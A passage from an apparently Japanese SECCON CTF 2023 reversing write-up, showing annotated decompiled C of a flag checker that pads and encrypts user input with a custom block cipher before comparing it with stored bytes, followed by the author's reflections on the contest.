*)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].pData + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwIndex) = *mustNotComeHere_2; v28 = arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes; if ( v26 == arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes ) { v29 = (char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].pData + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwIndex; *mustNotComeHere_2 = *v29; if ( v28 == arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwElementBytes ) { *v29 = *(_QWORD *)((char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex); labelBug3: BUG(); } goto labelBug; } goto labelBug2; } // ここまで見なくていいコーナー // ここからDWORDずつ手前に詰める処理 pdwEncryptBlockIndex8 = (int *)((char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].pData + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[1].dwIndex); *(_DWORD *)((char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].pData + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[0].dwIndex) = *pdwEncryptBlockIndex8; v20 = arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes; if ( v26 != arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwElementBytes ) goto labelBug2; pdwEncryptBlockIndex12 = (int *)((char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].pData + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[2].dwIndex); *pdwEncryptBlockIndex8 = *pdwEncryptBlockIndex12; v22 = arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwElementBytes; if ( arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwElementBytes != v20 ) goto labelBug; pdwEncryptBlockIndex16 = (int *)((char *)arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData + arrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex); *pdwEncryptBlockIndex12 = *pdwEncryptBlockIndex16; if ( v22 != 4 ) goto labelBug3; *pdwEncryptBlockIndex16 = pStructForEncryptBlock->dwElsResult;// r関数結果 ++pBlockSize16_InEncrypt_Index68And196_PlusOffset; } while ( pBlockSize16_InEncrypt_Index68And196_PlusOffset != pLoopEnd );// 32回ループするはず pBlockSize16_InEncrypt_Index28And44_PlusIndex = pArrayForBlockSize16Size4_InEncrypt_Index28And44;// 以降、暗号化結果格納ループ // pEncrypt[28+(4*i):28+(4*i)+4] = _byteswap_ulong(pEncryptBlock[16-(4+i):20-(4*i)]) do { v32 = pBlockSize16_InEncrypt_Index28And44_PlusIndex->dwElementBytes; if ( v32 != pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwElementBytes ) BUG(); switch ( v32 ) { case 1: *((_BYTE *)pBlockSize16_InEncrypt_Index28And44_PlusIndex->pData + pBlockSize16_InEncrypt_Index28And44_PlusIndex->dwIndex) = *((_BYTE *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex); break; case 2: *(_WORD *)((char *)pBlockSize16_InEncrypt_Index28And44_PlusIndex->pData + pBlockSize16_InEncrypt_Index28And44_PlusIndex->dwIndex) = *(_WORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex); break; case 4: // ここを通ります *(_DWORD *)((char *)pBlockSize16_InEncrypt_Index28And44_PlusIndex->pData + pBlockSize16_InEncrypt_Index28And44_PlusIndex->dwIndex) = *(_DWORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex); break; case 8: *(_QWORD *)((char *)pBlockSize16_InEncrypt_Index28And44_PlusIndex->pData + pBlockSize16_InEncrypt_Index28And44_PlusIndex->dwIndex) = *(_QWORD *)((char *)pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].pData + pArrayForBlockSize16Size4_InEncryptBlock_Index4And20[3].dwIndex); break; default: BUG(); } if ( pBlockSize16_InEncrypt_Index28And44_PlusIndex->dwElementBytes != 4 ) BUG(); pdwEncryptIndex28PlusIndex = (unsigned int *)((char *)pBlockSize16_InEncrypt_Index28And44_PlusIndex->pData + pBlockSize16_InEncrypt_Index28And44_PlusIndex->dwIndex); *pdwEncryptIndex28PlusIndex = _byteswap_ulong(*pdwEncryptIndex28PlusIndex); ++pBlockSize16_InEncrypt_Index28And44_PlusIndex; --pArrayForBlockSize16Size4_InEncryptBlock_Index4And20; } while ( pArrayForBlockSize16Size4_InEncryptBlock_Index4And20 != &arrayForBlockSize16Size4_InEncryptBlock_Index4And20[-4] ); munmap(pStructForEncryptBlock, 0x1000uLL); } void __fastcall encrypt( BlockSize16 *pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag, const BYTE *pAllocatedForMain, ElementByteCountAndIndexPair pairForMain_ByteCount4_Index228, const unsigned int *pdwArrayKeySize4_Seccon, BlockSize16 *pArrayForBlockSize16Size112_InMain_Index112And224_ForCompareToEnc) { StructForEncrypt *pStructForEncrypt_1; // rax StructForEncrypt *pStructForEncrypt; // rbx BlockSize16 *pBlockSize16_BetweenIndex52And68; // rcx BlockSize16 *pBlockSize16_BetweenIndex52And68_ForInitialize; // rax unsigned int dwIndex; // edx BlockSize16 *pBlockSize16_BetweenIndex68And196; // rbp BlockSize16 *pBlockSize16_BetweenIndex68And196_ForInitialize; // rax __int64 dwKeyIndex; // rdx int dwKeyValueFromCurrentIndex; // eax const unsigned int *pdwCurrentCat; // r15 int *pdwForIndex56; // r14 int dwValueIndex1; // eax int *pdwForIndex60; // r13 int dwXorValueOfIndex56_60; // eax int *pdwForIndex64; // r12 ElementByteCountAndIndexPair pairForEncrypt_ByteCount4_Index44; // rsi ElementByteCountAndIndexPair pairForEncrypt_ByteCount4_Index48; // rcx int *pdwForIndex52; // rax int dwXoredFromSomeKeyAndKsResult; // edx BlockSize16 *pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_OffsetMinux4; // r13 int dwIndex_StepIs16Byte; // r12d BlockSize16 *pBlockSize16_InEncrypt_Index12And28; // rsi __int64 dwIndex_StepIs16Byte_; // r12 BlockSize16 *pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_OffsetMinux4PlusIndex; // r8 BlockSize16 *pLoopEnd; // rdi BlockSize16 *pBlockSize16Size112_InMain_ForStoreInputFlag_FromIndex3To0; // rdx int dwInputChar3; // ecx int dwInputCharBytes; // eax BlockSize16 *pBlockSize16_InEncrypt_Index28And44; // rbp BlockSize16 *pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_PlusIndexPlus4; // rdi BlockSize16 *pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc; // rax int dwValurForTemp; // edx int dwIndexForMain_Index228_StrInputWithPaddingLength; // [rsp+Ch] [rbp-32Ch] int dwMainElementByteCount; // [rsp+28h] [rbp-310h] BlockSize16 arrayForBlockSize16Size4_InEncrypt_Index12And28[4]; // [rsp+30h] [rbp-308h] BYREF BlockSize16 arrayForBlockSize16Size4_InEncrypt_Index28And44[4]; // [rsp+70h] [rbp-2C8h] BYREF BlockSize16 arrayForBlockSize16Size4_InEncrypt_Index52And68[4]; // [rsp+B0h] [rbp-288h] BYREF BlockSize16 arrayForBlockSize16Size4_InEncrypt_Index68And196[32]; // [rsp+F0h] [rbp-248h] BYREF __int64 valueForEndLoopUsingAddress; // [rsp+2F0h] [rbp-48h] BYREF unsigned __int64 qwCanary; // [rsp+2F8h] [rbp-40h] qwCanary = __readfsqword(0x28u); dwMainElementByteCount = pairForMain_ByteCount4_Index228.dwElementByteCount; dwIndexForMain_Index228_StrInputWithPaddingLength = pairForMain_ByteCount4_Index228.dwIndex; pStructForEncrypt_1 = (StructForEncrypt *)mmap(0LL, sizeof(StructForEncrypt), 3, 34, -1, 0LL); if ( pStructForEncrypt_1 == (StructForEncrypt *)-1LL ) exit(1); pStructForEncrypt = pStructForEncrypt_1; arrayForBlockSize16Size4_InEncrypt_Index12And28[0].pData = pStructForEncrypt_1;// index0, 4, 8は未使用? arrayForBlockSize16Size4_InEncrypt_Index12And28[0].dwIndex = 12; arrayForBlockSize16Size4_InEncrypt_Index12And28[0].dwElementBytes = 4; arrayForBlockSize16Size4_InEncrypt_Index12And28[1].pData = pStructForEncrypt_1; arrayForBlockSize16Size4_InEncrypt_Index12And28[1].dwIndex = 16; arrayForBlockSize16Size4_InEncrypt_Index12And28[1].dwElementBytes = 4; arrayForBlockSize16Size4_InEncrypt_Index12And28[2].pData = pStructForEncrypt_1; arrayForBlockSize16Size4_InEncrypt_Index12And28[2].dwIndex = 20; arrayForBlockSize16Size4_InEncrypt_Index12And28[2].dwElementBytes = 4; arrayForBlockSize16Size4_InEncrypt_Index12And28[3].pData = pStructForEncrypt_1; arrayForBlockSize16Size4_InEncrypt_Index12And28[3].dwIndex = 24; arrayForBlockSize16Size4_InEncrypt_Index12And28[3].dwElementBytes = 4; arrayForBlockSize16Size4_InEncrypt_Index28And44[0].pData = pStructForEncrypt_1; arrayForBlockSize16Size4_InEncrypt_Index28And44[0].dwIndex = 28; arrayForBlockSize16Size4_InEncrypt_Index28And44[0].dwElementBytes = 4; arrayForBlockSize16Size4_InEncrypt_Index28And44[1].pData = pStructForEncrypt_1; arrayForBlockSize16Size4_InEncrypt_Index28And44[1].dwIndex = 32; arrayForBlockSize16Size4_InEncrypt_Index28And44[1].dwElementBytes = 4; arrayForBlockSize16Size4_InEncrypt_Index28And44[2].pData = pStructForEncrypt_1; arrayForBlockSize16Size4_InEncrypt_Index28And44[2].dwIndex = 36; arrayForBlockSize16Size4_InEncrypt_Index28And44[2].dwElementBytes = 4; arrayForBlockSize16Size4_InEncrypt_Index28And44[3].pData = pStructForEncrypt_1; arrayForBlockSize16Size4_InEncrypt_Index28And44[3].dwIndex = 40; arrayForBlockSize16Size4_InEncrypt_Index28And44[3].dwElementBytes = 4; pBlockSize16_BetweenIndex52And68 = arrayForBlockSize16Size4_InEncrypt_Index52And68; pBlockSize16_BetweenIndex52And68_ForInitialize = arrayForBlockSize16Size4_InEncrypt_Index52And68; for ( dwIndex = 52; dwIndex != 68; dwIndex += 4 ) { pBlockSize16_BetweenIndex52And68_ForInitialize->pData = pStructForEncrypt; pBlockSize16_BetweenIndex52And68_ForInitialize->dwIndex = dwIndex; pBlockSize16_BetweenIndex52And68_ForInitialize->dwElementBytes = 4; ++pBlockSize16_BetweenIndex52And68_ForInitialize; } pBlockSize16_BetweenIndex68And196 = arrayForBlockSize16Size4_InEncrypt_Index68And196; pBlockSize16_BetweenIndex68And196_ForInitialize = arrayForBlockSize16Size4_InEncrypt_Index68And196; do { pBlockSize16_BetweenIndex68And196_ForInitialize->pData = pStructForEncrypt; pBlockSize16_BetweenIndex68And196_ForInitialize->dwIndex = dwIndex; pBlockSize16_BetweenIndex68And196_ForInitialize->dwElementBytes = 4; dwIndex += 4; ++pBlockSize16_BetweenIndex68And196_ForInitialize; } while ( dwIndex != 196 ); for ( dwKeyIndex = 0LL; dwKeyIndex != 4; ++dwKeyIndex )// StructForEncrypt::[52:64]へ固定値加工内容を格納 { dwKeyValueFromCurrentIndex = fish[dwKeyIndex] ^ _byteswap_ulong(pdwArrayKeySize4_Seccon[dwKeyIndex]);// _byteswap_ulong := reverse endianness pStructForEncrypt->dwKeyForWork = dwKeyValueFromCurrentIndex; if ( pBlockSize16_BetweenIndex52And68->dwElementBytes != 4 ) BUG(); *(_DWORD *)((char *)pBlockSize16_BetweenIndex52And68->pData + pBlockSize16_BetweenIndex52And68->dwIndex) = dwKeyValueFromCurrentIndex; ++pBlockSize16_BetweenIndex52And68; } pdwCurrentCat = (const unsigned int *)cat; do // StructForEncrypt::[52:64]をさらに加工、でも全部固定値なので結果も固定値のはず { if ( arrayForBlockSize16Size4_InEncrypt_Index52And68[1].dwElementBytes != 4 ) BUG(); pdwForIndex56 = (int *)((char *)arrayForBlockSize16Size4_InEncrypt_Index52And68[1].pData + arrayForBlockSize16Size4_InEncrypt_Index52And68[1].dwIndex); dwValueIndex1 = *pdwForIndex56; pStructForEncrypt->dwKeyForWork = *pdwForIndex56; if ( arrayForBlockSize16Size4_InEncrypt_Index52And68[2].dwElementBytes != 4 ) BUG(); pdwForIndex60 = (int *)((char *)arrayForBlockSize16Size4_InEncrypt_Index52And68[2].pData + arrayForBlockSize16Size4_InEncrypt_Index52And68[2].dwIndex); dwXorValueOfIndex56_60 = *pdwForIndex60 ^ dwValueIndex1; pStructForEncrypt->dwKeyForWork = dwXorValueOfIndex56_60; if ( arrayForBlockSize16Size4_InEncrypt_Index52And68[3].dwElementBytes != 4 ) BUG(); pdwForIndex64 = (int *)((char *)arrayForBlockSize16Size4_InEncrypt_Index52And68[3].pData + arrayForBlockSize16Size4_InEncrypt_Index52And68[3].dwIndex); pStructForEncrypt->dwKeyForWork = *pdwCurrentCat ^ *pdwForIndex64 ^ dwXorValueOfIndex56_60;// THIS USE !!!cat!!! VALUE pairForEncrypt_ByteCount4_Index44 = (ElementByteCountAndIndexPair)0x40000002CLL;// elementByteCount=4, index=0x2c(==0n44) pairForEncrypt_ByteCount4_Index48 = (ElementByteCountAndIndexPair)0x400000030LL;// elementByteCount=4, index=0x30(==0n48) // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます ks(pStructForEncrypt, pairForEncrypt_ByteCount4_Index44, pStructForEncrypt, pairForEncrypt_ByteCount4_Index48);// pEncrypt->dwOffset48 = sboxやらorやらrotateやら(pEncrypt->dwOffset44) // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます // ks呼び出しが埋もれるので空行で目立たせます if ( arrayForBlockSize16Size4_InEncrypt_Index52And68[0].dwElementBytes != 4 ) BUG(); pdwForIndex52 = (int *)((char *)arrayForBlockSize16Size4_InEncrypt_Index52And68[0].pData + arrayForBlockSize16Size4_InEncrypt_Index52And68[0].dwIndex); dwXoredFromSomeKeyAndKsResult = pStructForEncrypt->dwXorResultUsingSbox ^ *pdwForIndex52; pStructForEncrypt->dwKeyForWork = dwXoredFromSomeKeyAndKsResult; if ( pBlockSize16_BetweenIndex68And196->dwElementBytes != 4 ) BUG(); *(_DWORD *)((char *)pBlockSize16_BetweenIndex68And196->pData + pBlockSize16_BetweenIndex68And196->dwIndex) = dwXoredFromSomeKeyAndKsResult;// 暗号化結果の格納 *pdwForIndex52 = *pdwForIndex56; // DWORD[4]を順繰りに回している *pdwForIndex56 = *pdwForIndex60; *pdwForIndex60 = *pdwForIndex64; *pdwForIndex64 = pStructForEncrypt->dwKeyForWork; ++pBlockSize16_BetweenIndex68And196; ++pdwCurrentCat; } while ( pBlockSize16_BetweenIndex68And196 != (BlockSize16 *)&valueForEndLoopUsingAddress ); pStructForEncrypt->dwIndex_StepIs16Byte = 0; if ( dwMainElementByteCount != 4 ) BUG(); pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_OffsetMinux4 = pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag - 4;// ここの-4は、後で+4して戻してる while ( 1 ) // 1ブロック(=16バイト)ごとに、入力16バイトと、なにか結果の固定16バイトでなにか暗号化するループ { dwIndex_StepIs16Byte = pStructForEncrypt->dwIndex_StepIs16Byte; if ( (unsigned int)dwIndex_StepIs16Byte >= *(_DWORD *)&pAllocatedForMain[dwIndexForMain_Index228_StrInputWithPaddingLength] ) break; pBlockSize16_InEncrypt_Index12And28 = arrayForBlockSize16Size4_InEncrypt_Index12And28; dwIndex_StepIs16Byte_ = dwIndex_StepIs16Byte; pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_OffsetMinux4PlusIndex = &pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_OffsetMinux4[dwIndex_StepIs16Byte_]; do { pStructForEncrypt->dwValurForTemp = 0; pLoopEnd = pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_OffsetMinux4PlusIndex; pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_OffsetMinux4PlusIndex += 4;// ここでoffsetを元に戻して、pBlockSize16Size112_ForStoreInputFlagにしている? pBlockSize16Size112_InMain_ForStoreInputFlag_FromIndex3To0 = pArrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_OffsetMinux4PlusIndex; do // 入力先頭3文字目から0文字目までの4文字を見ていそうループ { if ( pBlockSize16Size112_InMain_ForStoreInputFlag_FromIndex3To0[3].dwElementBytes != 1 ) BUG(); dwInputChar3 = *((unsigned __int8 *)pBlockSize16Size112_InMain_ForStoreInputFlag_FromIndex3To0[3].pData + pBlockSize16Size112_InMain_ForStoreInputFlag_FromIndex3To0[3].dwIndex); pStructForEncrypt->dwProcessingForInputChar = dwInputChar3;// この代入は無意味では? dwInputCharBytes = dwInputChar3 | (pStructForEncrypt->dwValurForTemp << 8); pStructForEncrypt->dwValurForTemp = dwInputCharBytes;// input[16*i+3] << 24 | input[16*i+2] << 16 | input[16*i+1] << 8 | input[16*i] --pBlockSize16Size112_InMain_ForStoreInputFlag_FromIndex3To0; } while ( pLoopEnd != pBlockSize16Size112_InMain_ForStoreInputFlag_FromIndex3To0 ); if ( pBlockSize16_InEncrypt_Index12And28->dwElementBytes != 4 ) BUG(); *(_DWORD *)((char *)pBlockSize16_InEncrypt_Index12And28->pData + pBlockSize16_InEncrypt_Index12And28->dwIndex) = dwInputCharBytes;// input[16*i+3] << 24 | input[16*i+2] << 16 | input[16*i+1] << 8 | input[16*i] ++pBlockSize16_InEncrypt_Index12And28; } while ( arrayForBlockSize16Size4_InEncrypt_Index28And44 != pBlockSize16_InEncrypt_Index12And28 );// 4回ループのはず pBlockSize16_InEncrypt_Index28And44 = arrayForBlockSize16Size4_InEncrypt_Index28And44;// encrypt_block関数は多分見逃しづらいはずです // encrypt_block関数は多分見逃しづらいはずです // encrypt_block関数は多分見逃しづらいはずです // encrypt_block関数は多分見逃しづらいはずです // encrypt_block関数は多分見逃しづらいはずです // encrypt_block関数は多分見逃しづらいはずです // encrypt_block関数は多分見逃しづらいはずです // encrypt_block関数は多分見逃しづらいはずです encrypt_block( arrayForBlockSize16Size4_InEncrypt_Index12And28, arrayForBlockSize16Size4_InEncrypt_Index68And196, arrayForBlockSize16Size4_InEncrypt_Index28And44); pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_PlusIndexPlus4 = &pArrayForBlockSize16Size112_InMain_Index112And224_ForCompareToEnc[dwIndex_StepIs16Byte_ + 4];// この+4は後で相殺する do // encrypt結果16バイトをStructForMainへ格納するループ { if ( pBlockSize16_InEncrypt_Index28And44->dwElementBytes != 4 ) BUG(); pStructForEncrypt->dwValurForTemp = *(_DWORD *)((char *)pBlockSize16_InEncrypt_Index28And44->pData + pBlockSize16_InEncrypt_Index28And44->dwIndex); pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc = pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_PlusIndexPlus4 - 4;// さっきの+4の相殺 + 16ブロックごとindex加算 do // DWORDを4バイト分に分けて格納するループ { dwValurForTemp = pStructForEncrypt->dwValurForTemp; pStructForEncrypt->dwProcessingForInputChar = (unsigned __int8)pStructForEncrypt->dwValurForTemp;// この代入は無意味では? if ( pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->dwElementBytes != 1 ) BUG(); *((_BYTE *)pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->pData + pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->dwIndex) = dwValurForTemp;// 上の行と合わせて1つの式、行が長い pStructForEncrypt->dwValurForTemp = (unsigned int)pStructForEncrypt->dwValurForTemp >> 8; ++pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc; } while ( pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_PlusIndexPlus4 != pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc ); ++pBlockSize16_InEncrypt_Index28And44; pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_PlusIndexPlus4 += 4; } while ( arrayForBlockSize16Size4_InEncrypt_Index52And68 != pBlockSize16_InEncrypt_Index28And44 ); pStructForEncrypt->dwIndex_StepIs16Byte += 16; } munmap(pStructForEncrypt, 0x1000uLL); } int __fastcall main(int argc, const char **argv, const char **envp) { StructForMain *pStructMain_1; // rax StructForMain *pStructMain; // rbx BlockSize16 *pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag; // r12 BlockSize16 *pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_ForInitialize; // rdx unsigned int dwIndex; // eax BlockSize16 *pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc; // rbp BlockSize16 *pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_ForInitialize; // rdx char charCurrent; // al char *pStrInputNext; // rcx int dwElementBytes_1; // edx int dwInputLength; // ecx int dwCeiledInputLength; // edx unsigned int dwBlockIndex; // eax ElementByteCountAndIndexPair pairForMain_ByteCount4_Index228; // rdx const _BYTE *pbyteCurrentEnc; // rdx int dwElementBytes; // eax _BOOL8 bIsWrong; // rax BlockSize16 arrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag[112]; // [rsp+0h] [rbp-E98h] BYREF BlockSize16 arrayForBlockSize16Size112_InMain_Index112And224_ForCompareToEnc[112]; // [rsp+700h] [rbp-798h] BYREF char strInputSize100[120]; // [rsp+E00h] [rbp-98h] BYREF unsigned __int64 qwCanary; // [rsp+E78h] [rbp-20h] qwCanary = __readfsqword(0x28u); pStructMain_1 = (StructForMain *)mmap(0LL, sizeof(StructForMain), 3, 34, -1, 0LL); if ( pStructMain_1 == (StructForMain *)-1LL ) exit(1); pStructMain = pStructMain_1; pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag = arrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag; pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_ForInitialize = arrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag; for ( dwIndex = 0; dwIndex != 112; ++dwIndex ) { pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_ForInitialize->pData = pStructMain; pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_ForInitialize->dwIndex = dwIndex;// dwIndexは[0, 112)を取る pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_ForInitialize->dwElementBytes = 1; ++pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag_ForInitialize; } pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc = arrayForBlockSize16Size112_InMain_Index112And224_ForCompareToEnc; pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_ForInitialize = arrayForBlockSize16Size112_InMain_Index112And224_ForCompareToEnc; do { pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_ForInitialize->pData = pStructMain; pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_ForInitialize->dwIndex = dwIndex;// dwIndexは[112, 224)を取る pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_ForInitialize->dwElementBytes = 1; ++dwIndex; ++pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_ForInitialize; } while ( dwIndex != 224 ); __printf_chk(1, "Message: "); if ( !fgets(strInputSize100, 100, _bss_start) ) exit(1); pStructMain->dwStrInputLength = 0; charCurrent = strInputSize100[0]; if ( strInputSize100[0] ) { pStrInputNext = &strInputSize100[1]; do { dwElementBytes_1 = pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag->dwElementBytes; switch ( dwElementBytes_1 ) { case 1: // 全部ここを通るはず *((_BYTE *)pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag->pData + pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag->dwIndex) = charCurrent; break; case 2: *(_WORD *)((char *)pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag->pData + pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag->dwIndex) = charCurrent; break; case 4: *(_DWORD *)((char *)pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag->pData + pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag->dwIndex) = charCurrent; break; case 8: *(_QWORD *)((char *)pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag->pData + pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag->dwIndex) = charCurrent; break; default: BUG(); } ++pStructMain->dwStrInputLength; charCurrent = *pStrInputNext; ++pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag; ++pStrInputNext; } while ( charCurrent ); } dwInputLength = pStructMain->dwStrInputLength;// 入力処理ループの前に0初期化された領域 dwCeiledInputLength = (dwInputLength + 16) & 0xFFFFFFF0; pStructMain->dwStrInputWithPaddingLength = dwCeiledInputLength; pStructMain->dwPaddingCount = dwCeiledInputLength - dwInputLength; pStructMain->byteValueForPadding = dwCeiledInputLength - dwInputLength; for ( dwBlockIndex = dwInputLength; // PKCS#7パディング書き込みループ dwBlockIndex < pStructMain->dwStrInputWithPaddingLength; pStructMain->dwStrInputLength = dwBlockIndex ) { if ( arrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag[dwBlockIndex].dwElementBytes != 1 ) BUG(); *((_BYTE *)arrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag[dwBlockIndex].pData + arrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag[dwBlockIndex].dwIndex) = pStructMain->byteValueForPadding; dwBlockIndex = pStructMain->dwStrInputLength + 1; } pairForMain_ByteCount4_Index228 = (ElementByteCountAndIndexPair)0x4000000E4LL;// elementByteCount=4, index=0xE4(==0n228)->dwStrInputWithPaddingLength encrypt( arrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag, (const BYTE *)pStructMain, pairForMain_ByteCount4_Index228, (const unsigned int *)"SECCON CTF 2023!", arrayForBlockSize16Size112_InMain_Index112And224_ForCompareToEnc); pbyteCurrentEnc = enc; // enc is global variable do { dwElementBytes = pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->dwElementBytes; if ( dwElementBytes == 1 ) { if ( *((_BYTE *)pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->pData + pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->dwIndex) != *pbyteCurrentEnc )// 多分全部ここを通る、gdbで雑確認したら実際そうだった goto locWrong; } else { switch ( dwElementBytes ) // こっちには来ない { case 2: bIsWrong = *(_WORD *)((char *)pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->pData + pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->dwIndex) != (unsigned __int16)*pbyteCurrentEnc; break; case 4: bIsWrong = *(_DWORD *)((char *)pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->pData + pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->dwIndex) != *pbyteCurrentEnc; break; case 8: bIsWrong = *(_QWORD *)((char *)pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->pData + pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->dwIndex) != *pbyteCurrentEnc; break; default: BUG(); } if ( bIsWrong ) { locWrong: puts("Wrong..."); goto labelReturn; } } ++pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc; ++pbyteCurrentEnc; } while ( pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc != (BlockSize16 *)strInputSize100 ); puts("Correct! I think you got the flag now :)"); labelReturn: munmap(pStructMain, 0x1000uLL); return 0; }
感想
- reversingジャンルで正解チーム数が最も少ない問題を解けたので満足です!解くのに12時間くらいかかって大変でした!
- Sickle問題もxuyao問題もひたすら苦戦したので、多くのチームが解けていることに驚きです。効率の良い解き方が実はあるんでしょうか。
- ジャンルの1つにsandboxジャンルがあることが珍しく思いました。warmup問題がRust言語問題だったので入門しつつ頑張ってみましたが、挫折しました……。
- 24時間継続的に取り組むことは難しいです。途中で力尽きました。